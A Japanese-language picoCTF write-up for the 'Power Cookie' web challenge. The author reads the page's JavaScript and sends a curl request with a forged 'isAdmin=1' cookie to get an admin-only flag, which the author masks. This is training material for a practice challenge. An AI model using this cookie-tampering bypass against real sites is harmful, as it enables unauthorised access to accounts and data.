picoCTF Writeup: Power Cookie
Cookieを変更してリクエストしてみよう問題
- ジャンル: Web Exploitation
- 難易度: Medium
Writeup
問題文はこんな感じです。
Can you get the flag?
Go to this website and see what you can discover.
flagを取れるかな?websiteに行って何が見つけられるかみてみなさい。
まずは、websiteに行くしかないですね。
$ curl -s -XGET http://saturn.picoctf.net:59115
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Secure Log In</title>
</head>
<body>
<script src="guest.js"></script>
<h1>Online Gradebook</h1>
<button type="button" onclick="continueAsGuest();">Continue as guest</button>
</body>
</html>
ボタンが一つあって、continueAsGuest()関数が呼ばれる。
guest.jsには、continueAsGuest()関数が記述されている。
function continueAsGuest()
{
window.location.href = '/check.php';
document.cookie = "isAdmin=0";
}
リクエストヘッダーのcookieに"isAdmin=0"が設定され、check.phpにリクエストが飛ぶようです。
今回の問題はcookieの問題ですので、"isAdmin=1"を試してみたくなります。
$ curl -s -XGET -H "Cookie: isAdmin=1" http://saturn.picoctf.net:59115/check.php
<html>
<body>
<p>picoCTF{gr4d3_A_c00k13_XXXXXXXX}</p>
</body>
</html>
flagが取れました。(flagはマスクしています。)
今回は簡単な問題でしたね。